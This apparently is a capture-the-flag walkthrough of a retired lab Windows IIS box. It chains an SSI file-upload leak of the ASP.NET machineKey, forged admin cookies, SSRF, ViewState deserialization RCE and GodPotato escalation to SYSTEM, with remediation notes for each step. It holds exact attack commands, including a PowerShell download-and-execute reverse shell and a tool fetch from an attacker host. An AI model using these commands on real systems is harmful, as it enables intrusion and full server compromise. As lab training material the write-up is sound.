← all walkthroughs

Perspective

Windows· Insane· Web
owned
2026-07-15
time to own
31m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

A Windows IIS 10.0 server hosting an ASP.NET 'New Product Request System' (NPRS) at perspective.htb was fully compromised through a chain of five linked vulnerabilities. I self-registered a low-privilege account and uploaded a file with a .shtml extension to the product-image feature; IIS processed it as a Server-Side Include directive that read and returned the application's web.config, exposing the ASP.NET machineKey — the master encryption and validation keys for all authentication cookies and ViewState payloads.

Those keys were used to forge a valid forms-authentication cookie for the 'admin' account, granting immediate admin access without knowing the password. As admin, a PDF-report feature that fetched server-side URLs was abused to discover a private Swagger API on localhost:8000.

The same machineKey, combined with the ViewStateUserKey recovered by breaking its weak custom RC4 encryption, allowed ysoserial.net to forge a malicious __VIEWSTATE payload that deserialized to an OS command — giving a reverse shell as perspective\webuser and the user flag. The webuser account held SeImpersonatePrivilege; GodPotato exploited Windows COM impersonation to clone the NT AUTHORITY\SYSTEM token, achieving full control and the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <b64_revshell>, <decrypted_vsuk>, <dk>, <encrypted_vsuk_hex>, <ev>, <forged_ticket>, <leaked_dk>, <leaked_vk>, <rc4_key_hex>, <vk>, <vs>, <vsg>, <ysoserial_output> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceService and route enumeration (MITRE T1046)
Mapped exposed services and discovered the ASP.NET web application
A full TCP port scan revealed only two services: OpenSSH on port 22 and Microsoft IIS 10.0 on port 80. Browsing to the IP confirmed a virtual host 'perspective.htb' running an ASP.NET 4.0 'New Product Request System'. Directory enumeration uncovered key routes including /Account/Register, /Account/Login, /Products/NewProduct, and /Admin/AdminProducts, establishing the full attack surface before exploitation began.
Nmap output: 22/tcp ssh OpenSSH for_Windows_7.7, 80/tcp http Microsoft IIS httpd 10.0; curl to perspective.htb returned the NPRS home page.
Exact commands 4
shell

Full TCP port scan with service version detection.

$ nmap -Pn -sV --min-rate 5000 -p- $TARGET
shell

Register the discovered virtual host for name resolution.

$ echo "$TARGET perspective.htb" | sudo tee -a /etc/hosts
shell

Confirm the application is live and collect hidden form tokens from the response.

$ curl -sS -H 'Host: perspective.htb' http://$TARGET/
shell

Enumerate application routes and discover the product-upload and admin features.

$ feroxbuster -u http://perspective.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x aspx,asp,txt -H 'Host: perspective.htb'
2Initial Access PreparationUnauthenticated self-registration / feature enumeration
Self-registered a low-privilege account to reach authenticated features
The NPRS application allowed open self-registration at /Account/Register with no email verification or approval workflow. Registering my account provided access to the authenticated /Products/NewProduct upload feature. Reviewing the upload response showed uploaded files were stored under /Images/ and served directly by IIS with the user-supplied filename and extension intact — a critical observation that enabled the next step.
POST to /Account/Register returned a success redirect; subsequent login issued a session cookie; /Products/NewProduct rendered a multipart file-upload form.
Exact commands 3
shell

Fetch the registration page to extract __VIEWSTATE, __VIEWSTATEGENERATOR, and __EVENTVALIDATION tokens.

$ curl -sS -c cookies.txt -H 'Host: perspective.htb' http://$TARGET/Account/Register -o register.html
shell

Register my account; replace form tokens extracted from register.html.

$ curl -sS -c cookies.txt -b cookies.txt -X POST -H 'Host: perspective.htb' http://$TARGET/Account/Register -d "Username=$USERNAME&Password=$PASSWORD&ConfirmPassword=$PASSWORD&__VIEWSTATE=<vs>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>"
shell

Log in and persist the session cookie in cookies.txt for subsequent requests.

$ curl -sS -c cookies.txt -b cookies.txt -X POST -H 'Host: perspective.htb' http://$TARGET/Account/Login -d "Username=$USERNAME&Password=$PASSWORD&__VIEWSTATE=<vs>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>" -L
3ExploitationServer-Side Include injection via unrestricted file upload (CWE-434, MITRE T1190)
Leaked web.config and the ASP.NET machineKey via SSI file-upload LFI
IIS's Server-Side Includes module processes .shtml files, evaluating HTML comment directives such as <!--#include virtual="..."--> before returning the response. The product-image upload feature accepted any file extension and stored the file under /Images/ using my own name. By uploading a file whose content was an SSI include directive and whose name ended in .shtml, IIS executed the directive when the file was fetched, returning the full contents of web.config. The response contained the machineKey block with validationKey, decryptionKey, and algorithm settings (SHA1/AES) — the master cryptographic secrets underpinning every authentication cookie and ViewState payload in the application.
GET /Images/pwn.shtml returned web.config XML including the machineKey element with validationKey, decryptionKey, validation='SHA1', decryption='AES'.
Exact commands 3
shell

Create the SSI payload file instructing IIS to include web.config from the web root.

$ printf '<!--#include virtual="/web.config"-->' > payload.shtml
shell

Upload the SSI payload as a product image; replace form tokens from the /Products/NewProduct GET response.

$ curl -sS -b cookies.txt -H 'Host: perspective.htb' -X POST http://$TARGET/Products/NewProduct -F 'ProductImage=@payload.shtml;filename=pwn.shtml;type=image/png' -F 'ProductName=test' -F '__VIEWSTATE=<vs>' -F '__VIEWSTATEGENERATOR=<vsg>' -F '__EVENTVALIDATION=<ev>'
shell

Request the uploaded .shtml file; IIS evaluates the SSI directive and returns web.config contents including the machineKey.

$ curl -sS -H 'Host: perspective.htb' http://$TARGET/Images/pwn.shtml
FixBlock server-executable extensions in the product-image upload featureCritical
WeaknessThe image upload feature stored files under a web-served directory (/Images/) using the externally supplied filename and extension without any validation. IIS's SSI module evaluated .shtml files as Server-Side Includes, letting an unauthorised user upload a file containing an include directive and retrieve arbitrary files the IIS process could read — including web.config and its machineKey.
FixEnforce a strict allowlist of safe image extensions (.jpg, .jpeg, .png, .gif, .webp) in the server-side upload handler and reject anything else before writing to disk. Rename every uploaded file to a server-generated random name (e.g., a GUID) with a whitelisted extension so the original name can never influence IIS processing. Disable the IIS SSI ISAPI filter (ssifiltr.dll) application-wide if SSI is not required. Configure the /Images/ virtual directory as non-executable (remove Script and Execute permissions in IIS Manager → Handler Mappings). Validate file content by checking magic bytes (PNG header, JPEG SOI, etc.) in addition to extension.
4ExploitationASP.NET Forms Authentication ticket forgery (CWE-345, MITRE T1550.004)
Forged an admin forms-authentication cookie using the leaked machineKey
ASP.NET forms authentication uses the machineKey's decryptionKey to encrypt and the validationKey to HMAC the .ASPXAUTH cookie. With both keys and algorithms known, I can generate a cryptographically valid ticket for any username — including 'admin' — without knowing the account password. A custom .NET tool built on the AspNetCore.LegacyAuthCookieCompat library's LegacyFormsAuthenticationTicketEncryptor produced a ticket IIS accepted, granting immediate authenticated admin access to /Admin/AdminProducts.
Curl with forged cookie returned 200 to /Admin/AdminProducts instead of a redirect to /Account/Login.
Exact commands 4
shell

Clone the legacy forms-auth ticket library used to generate the forged cookie.

$ git clone --depth 1 https://github.com/dazinator/AspNetCore.LegacyAuthCookieCompat
shell

Build in Debug mode; Release mode fails due to a missing strong-name key (dazinator.snk).

$ cd AspNetCore.LegacyAuthCookieCompat && dotnet build --configuration Debug
shell

Generate a forged .ASPXAUTH ticket for 'admin'; replace key values with those extracted from web.config.

$ dotnet run --project AuthTool -- --username admin --validationKey <leaked_vk> --decryptionKey <leaked_dk> --validationAlg SHA1 --decryptionAlg AES
shell

Verify admin access; a 200 response (not a redirect to /Account/Login) confirms the forged ticket is accepted.

$ curl -sS -i -H 'Host: perspective.htb' -H 'Cookie: .ASPXAUTH=<forged_ticket>' http://$TARGET/Admin/AdminProducts
FixRotate the ASP.NET machineKey and store it outside web.configCritical
WeaknessThe machineKey (validationKey, decryptionKey, and algorithm settings) was stored in plaintext in web.config. Because IIS can always read its own config file, any file-read vulnerability — such as the SSI LFI — immediately exposes it. Once known, the machineKey lets an unauthorised user forge valid .ASPXAUTH authentication cookies for any username and valid ViewState payloads containing arbitrary deserialized objects.
FixImmediately invalidate all active sessions and rotate the machineKey to new cryptographically random values (at least 64 bytes for validationKey, 32 bytes for decryptionKey). Remove the machineKey element from web.config and store the keys in the Windows DPAPI-protected registry (HKLM\SOFTWARE\Microsoft\ASP.NET) or in a secrets manager such as Azure Key Vault with managed identity access. Upgrade algorithms to HMACSHA256 and AES-256 if the application is still using SHA1 and AES-128. As defense-in-depth, add an IIS deny rule to return 404 for any direct HTTP request targeting web.config.
5DiscoveryServer-Side Request Forgery (SSRF) via PDF renderer (CWE-918, MITRE T1090)
Abused a PDF-report SSRF to discover an internal-only Swagger API
The admin panel's PDF-generation feature rendered reports by fetching URLs server-side. Supplying a crafted product entry caused the rendering bridge to request an internal address, revealing a Swagger UI for a 'SecurePasswordService' at http://localhost:8000/swagger/index.html — an API completely inaccessible from outside the host. This confirmed a further internal pivot surface used in the documented exploitation chain for this application.
Pdftotext -layout report.pdf - revealed the leaked internal URL (http://localhost:8000/swagger/index.html)'.
Exact commands 2
shell

Trigger PDF generation with a crafted product ID; save the resulting PDF file.

$ curl -sS -H 'Host: perspective.htb' -H 'Cookie: .ASPXAUTH=<forged_ticket>' -X POST http://$TARGET/Admin/AdminProducts -d 'action=generate&productId=1' -o report.pdf
shell

Extract text from the PDF to reveal any embedded internal URLs returned by the rendering bridge.

$ pdftotext -layout report.pdf -
FixRestrict the PDF-report renderer from fetching internal or localhost URLsHigh
WeaknessThe admin PDF-generation feature made server-side HTTP requests to user-influenced or product-sourced URLs without restricting the destination. An unauthorised user with admin access could direct the renderer to localhost or internal RFC-1918 addresses, mapping internal services (e.g., the SecurePasswordService Swagger UI on localhost:8000) that are not exposed externally.
FixApply a strict allowlist of permitted URL schemes (https only) and destination hostnames the renderer may contact — allow only the application's own public domain and any explicitly required CDN origins. Block all requests to loopback addresses (127.0.0.1, ::1), RFC-1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), and the link-local range (169.254.0.0/16). Validate the resolved IP address after DNS lookup, not just the hostname, to prevent DNS rebinding. Where possible, replace the URL-fetch architecture with a server-side data-injection model so no external HTTP call is needed at render time.
6ExploitationASP.NET ViewState deserialization RCE via machineKey + weak RC4 ViewStateUserKey (CWE-502, MITRE T1059.003)
Broke weak RC4 ViewStateUserKey encryption then gained RCE via ViewState deserialization
ASP.NET per-user ViewState integrity is enforced with a per-session ViewStateUserKey that, in this application, was stored encrypted with a non-standard RC4 cipher using a short or guessable key. A known-plaintext attack (or recovery of the RC4 key from the application source) allowed decrypting the ViewStateUserKey value. With all three secrets in hand — machineKey validationKey, decryptionKey, and decrypted ViewStateUserKey — ysoserial.net generated a malicious __VIEWSTATE payload embedding a PowerShell reverse shell inside a .NET TypeConfuseDelegate gadget chain. When submitted to /Products/NewProduct, the server's ObjectStateFormatter deserialized the payload without verifying its intent, executing the embedded command and returning a shell as perspective\webuser. The user flag was read from C:\Users\webuser\Desktop\user.txt.
'type C:\\Users\\webuser\\Desktop\\user.txt' captured user.txt as perspective\\webuser; 'recover the RC4 key and decrypt ViewStateUserKey. Then forge a malicious __VIEWSTATE with ysoserial.net … -c <cmd> so it deserialises to an OS command'.
Exact commands 5
shell

Decrypt the ViewStateUserKey; replace rc4_key_hex with the recovered RC4 key and encrypted_vsuk_hex with the ciphertext from application source or session cookie.

$ python3 -c "from Crypto.Cipher import ARC4; key=bytes.fromhex('<rc4_key_hex>'); ct=bytes.fromhex('<encrypted_vsuk_hex>'); print(ARC4.new(key).decrypt(ct).decode())"
shell

Start a reverse-shell listener on my machine before submitting the payload.

$ nc -lvnp 4444
shell

Forge the malicious ViewState payload; run on Windows or via Wine. Generate b64_revshell with: [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER_IP:9000/r.ps1')")).

$ ysoserial.exe -p ViewState -g TypeConfuseDelegate --path "/Products/NewProduct" --apppath "/" --validationkey <vk> --validationalg SHA1 --decryptionkey <dk> --decryptionalg AES --viewstateuserkey <decrypted_vsuk> -c "cmd /c powershell -nop -e <b64_revshell>"
shell

Submit the deserialization payload; catch the reverse shell on the nc listener.

$ curl -sS -b cookies.txt -H 'Host: perspective.htb' -X POST http://$TARGET/Products/NewProduct -d '__VIEWSTATE=<ysoserial_output>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>'
shell

Read the user flag from the webuser desktop inside the obtained shell.

$ type C:\Users\webuser\Desktop\user.txt
FixReplace the weak RC4 ViewStateUserKey encryption with a strong algorithm and enforce ViewState MACCritical
WeaknessThe application encrypted the per-user ViewStateUserKey using a non-standard RC4 cipher. RC4 is a broken stream cipher vulnerable to known-plaintext attacks; recovering the short key allowed decrypting the ViewStateUserKey. Combined with the leaked machineKey, an unauthorised user had every secret needed to forge a __VIEWSTATE payload that the .NET ObjectStateFormatter deserialized to arbitrary operating-system commands.
FixRemove all RC4 usage immediately; use AES-256-GCM (authenticated encryption) for any per-session or per-user secrets stored server-side. Set ViewStateEncryptionMode='Always' on all pages and verify EnableViewStateMac is true (the default in .NET 4.5.2+). Upgrade the machineKey to HMACSHA256 validation and AES-256 decryption. Consider migrating away from ASP.NET WebForms ViewState entirely in favour of a stateless API pattern; eliminating ViewState removes the deserialization attack surface at its root. As an interim control, generate the ViewStateUserKey from a cryptographically random per-session value in Session_Start rather than decrypting a server-managed secret.
7Privilege EscalationToken impersonation via SeImpersonatePrivilege / GodPotato (MITRE T1134.001)
Exploited SeImpersonatePrivilege via GodPotato to gain NT AUTHORITY\SYSTEM
The IIS application pool identity (perspective\webuser) held SeImpersonatePrivilege, a Windows privilege normally granted to services that impersonate clients. GodPotato exploits this by abusing DCOM object activation to coerce a SYSTEM-level RPCSS call into connecting to my own named pipe, then cloning the SYSTEM impersonation token for arbitrary command execution. The technique requires no patch dependency and works on fully patched Windows Server 2019/2022. With SYSTEM-level access the root flag was read from C:\Users\Administrator\Desktop\root.txt.
'iwr -useb http://$ATTACKER_IP:9000/win/GodPotato-NET4.exe -outfile C:\\Windows\\Temp\\gp.exe; C:\\Windows\\Temp\\gp.exe -cmd "cmd /c whoami"'.
Exact commands 5
shell

Confirm SeImpersonatePrivilege is listed as Enabled on the webuser shell.

$ whoami /priv
shell

Serve GodPotato-NET4.exe from my machine; run in the background with GodPotato placed in the serving directory.

$ python3 -m http.server 9000
shell

Download GodPotato to the target; run inside the webuser reverse shell.

$ iwr -useb http://$ATTACKER_IP:9000/win/GodPotato-NET4.exe -outfile C:\Windows\Temp\gp.exe
shell

Verify code execution as NT AUTHORITY\SYSTEM.

$ C:\Windows\Temp\gp.exe -cmd "cmd /c whoami"
shell

Read the root flag.

$ C:\Windows\Temp\gp.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt"
FixRemove SeImpersonatePrivilege from the IIS application pool identityHigh
WeaknessThe IIS application pool running the NPRS application held SeImpersonatePrivilege. This privilege allows a process to clone the security token of any user that connects to it via a named pipe or COM, including NT AUTHORITY\SYSTEM. Potato-family exploits (GodPotato, PrintSpoofer, etc.) systematically abuse this to escalate any low-privilege IIS shell to SYSTEM with no additional vulnerability required.
FixConfigure the application pool to run under a dedicated low-privilege domain service account with only the permissions the application needs (read access to its content directory, write access to log paths, network access to the database). In Local Security Policy (secpol.msc → User Rights Assignment → Impersonate a client after authentication), remove that service account from the list. Do not use NetworkService or LocalService as the application pool identity since they inherit SeImpersonatePrivilege by default. Verify the change with 'whoami /priv' in the app pool context after applying it.

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.

Why it works

A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Exposed services

22/tcp
80/tcp